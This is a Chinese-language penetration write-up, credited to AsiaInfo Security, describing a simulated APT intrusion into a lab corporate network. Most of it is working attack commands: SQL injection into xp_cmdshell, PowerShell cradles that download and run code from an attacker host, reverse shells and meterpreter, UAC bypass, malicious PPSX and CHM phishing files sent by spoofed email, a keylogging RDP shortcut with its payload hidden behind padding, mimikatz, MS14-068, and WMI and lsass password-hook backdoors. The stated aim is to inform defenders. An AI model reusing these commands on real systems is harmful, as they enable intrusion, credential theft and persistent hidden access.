APT攻击方式花样繁多,我研究最近的流行的APT攻击方式,在本地搭建环境模拟一次简单的APT攻击,在模拟攻击过程中发现网上公布的poc都会有大大小的缺陷,大多数poc执行过程中都会弹出一闪而过的黑框框,我深入分析这些脚本,修改其中的代码,使其执行的过程中消除那个一闪而过的黑框框,从而让中招的不会轻易产生怀疑。我研究的目的是暴露这样的攻击过程,让更多的人了解这样的攻击过程,从而能够研究出更有效的防御方法。
内网的拓扑
拓扑说明:
【1】10.101.101.0/24的网段模拟的是外网的地址
【2】192.168.101.0/24的网段模拟的是一个小型企业的内网中的应用服务器网络
【3】192.168.111.0/24的网段模拟的是一个小型企业的内网中的办公网络
【4】企业内网可以无限制的访问到外网,但是外网无法访问到企业内网
【5】办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络
【6】部分服务器打了全部的补丁,并且保持正常更新
日常扫描
发现此服务器开放80,82端口,是windows 2008系统 。在80端口发现有sql注入
首先看数据库和数据库所在的服务器版本:
http:/ /10.101.101.13/?page= 1and@@version 0--
数据库是2008r2的,数据库所在的操作系统是win2008或者win7然后看数据库:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限然后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打开xp_cmdshell的限制,下面创建一个临时表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
执行ipconfig /all并将结果写入新创建的临时表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
读取结果:
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000)) 0--
看上去这个网站是站库分离的网站。
然后用这种方法执行“ping 10.101.101.16”,发现数据库服务器可以通外网,获取这些信息之后,我用下面的指令删除创建的临时表
https://10.101.101.13/?page=1; droptabletemp; --
获取到这么多信息了之后,在自己的机子上开一个web站点,下载nishang的powershell的反弹脚本到自己的web服务器上:https://github.com/samratashok/nishang ,先在自己的主机上用nc -lvvp 8888监听8888端口,等待反弹连接 。
然后执行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我们可以看到执行成功
但是数据库被降权,权限不高,现在我把ms15-051的exp上传到自己的服务器,用powershell的远程加载并执行exe的脚本。执行这个exp首先下载powershell的这个脚本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
然后执行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提权没有成功,并且换一个exp也没有成功
所以下面上msf继续探测 先开启msf的监听功能
然后执行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
这样就从数据库主机上反弹一个meterpreter连接了。
先用
useauxiliary/scanner/smb/smb_version
扫描smb来获取内网的信息
发现一个mail服务器,用
useauxiliary/scanner/portscan
扫描一下端口 ,发现开放了80端口,25,110端口
我用 use auxiliary/server/socks4a 代理进内网
在乌云镜像里面没有找到可以用的洞,但是在82端口发现了惊喜
通过弱口令轻松进入到后台,发现一个可以生成静态站的地方
把自定义静态页面存储主路径改成1.asp,然后编辑一篇文章,把木马代码放进去,重新生成静态页面就可以getshell了
这个服务器的82端口不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱
于是想到用伪造邮件的方法来钓管理员 首先参考两个文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
第一种方法
首先用CVE-2017-8570给的exp做一个钓鱼用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再执行,这样容易被杀软发现,并且原来的exp执行反弹回来的shell权限不够,所以要考虑绕过uac,让管理员点击恶意的ppsx后静默反弹一个高权限的shell。如果用nishang给的Invoke-PsUACme.ps1,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用oobe的方法在win7上绕过uac,所以我在这里只介绍在这种条件下去掉黑框框的方法。首先去掉Invoke-PsUACme.ps1中第206行的“ $execpath”这个代码,之后在调用Invoke-PsUACme的时候-payload参数写上你要执行的命令,最后用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
换掉原来exp里面的powershell调用语句 其中uacchm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而其中enc后面的数据是经过下面的代码编码而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
编码的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一个恶意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口开启服务
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 - 选项,点击 信任中心设置:
去掉这些勾就好
第二种方法
这个比较简单: 用easy chm做一个恶意的chm就好
其中我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的长度似乎有某种限制,所以我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
编码之后放入PARAM的value中
两个恶意的文件都制作好了,我现在用swaks伪造邮件把这两个文档发送出去
现在静静等待管理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时候用exploit -j就可以让msf在后台等待管理员上钩了。 这个时候发现一个管理员中了我们的木马
由于bypass了uac,所以返回的是管理员的shell,我们可以用mimikatz来把密码脱出来看看
由于管理员的机子不属于任何域,也不是域账号登陆,所以,我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据 《解析制作俄罗斯APT组织使用的快捷方式后门文件》这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为。
思路是:
(1)正常启动c:windowssystem32mstsc.exe,避免管理员怀疑 ;
(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动;
(3)参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑 ;
(4)参考 《渗透技巧——如何巧妙利用PSR监控Windows桌面》 这个文章静默启动一个桌面步骤记录程序 ;
(5)利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录
(6)记录一分钟后把记录的文件隐藏起来
(7)启动metasploit的反弹连接
(8)修改图标(关于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面,可以修改传递给图标id来修改图标)
我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,远程加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方式之后 ,只要修改rlnk.ps1就可以做你想做的事情了。
使用方法
看着已经生成好了,看一下效果
看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框 。如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在c:windowstemp目录下会生成log.dll,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏
等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用use auxiliary/scanner/smb/smb_login碰碰运气
看上去运气不佳啊
等了几天,发现在这个目录下有这个东西了
下载之后看到,键盘记录:
下面是屏幕截图记录
这样我就获得了一个普通域账号的账户名和密码 。
下面试试MS14-068这个漏洞能不能成功,参考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35type=note#/用proxychain执行goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以攻击
Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定
用得到的shell反弹一个poweshell出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
这个时候你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
系统会报错,原因是你不能在32位的shell中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正确的做法是使用下面的代码来反弹一个64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
这个时候你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就会得到域控管理员的密码下面我要在域控上面安装一个隐蔽的后门,参考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我利用三好学生的方法制作一个wmi的后门,首先: 在自己的web目录下写一个mof.ps1,这个文件作用是用利用wmi的定时器的功能让系统每分钟执行一次我们的payload,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我还写了一个可以劫持进程的powershell脚本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟执行payload的这个脚本,这里的我的payload我用一个反弹meterpreter连接的脚本,mof.txt里面的内容:
?xml version="1.0"?
![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]
enc编码前的内容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹
Ps: 这个wmi的后门我在win10上实验的时候,不能执行payload,如果触发到后门的触发条件的话,win10会弹出openwith.exe这个进程,界面上看就是这个
查了两天资料也没有找到一个正经的解决方法,但是后来把openwith.exe换成cmd.exe就可以执行payload了,因为win7和win2008没有openwith,所以没有遇到什么阻力就直接执行payload了,但是win10和win8在正常情况下就会打开openwith这个后门的清理方式,可以参考https://www.52pojie.cn/thread-607115-1-1.html
我还想放置一个后门,在域控管理员改密码的时候记录他的新密码,参考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,注意他的脚本里面有一个选项可以从你的web服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的web服务器下面,在这个ps1最下面加入
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了,然后你把这个脚本的调用加入到chm.ps1里面:下面是改动之后chm.ps1里面的内容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
这样就可以任何时候每隔一分钟的时候可以一方面反弹一个meterpreter的连接,还可以在域管理员改密码的时候记录他的新密码
本文介绍了web渗透,邮件钓鱼,后门部署等奇技淫巧,尤其针对消除各种一闪而过的cmd弹窗给出了我自己的解决思路,如果有问题大家可以在评论区留言,我们共同探讨。
(来源:亚信安全)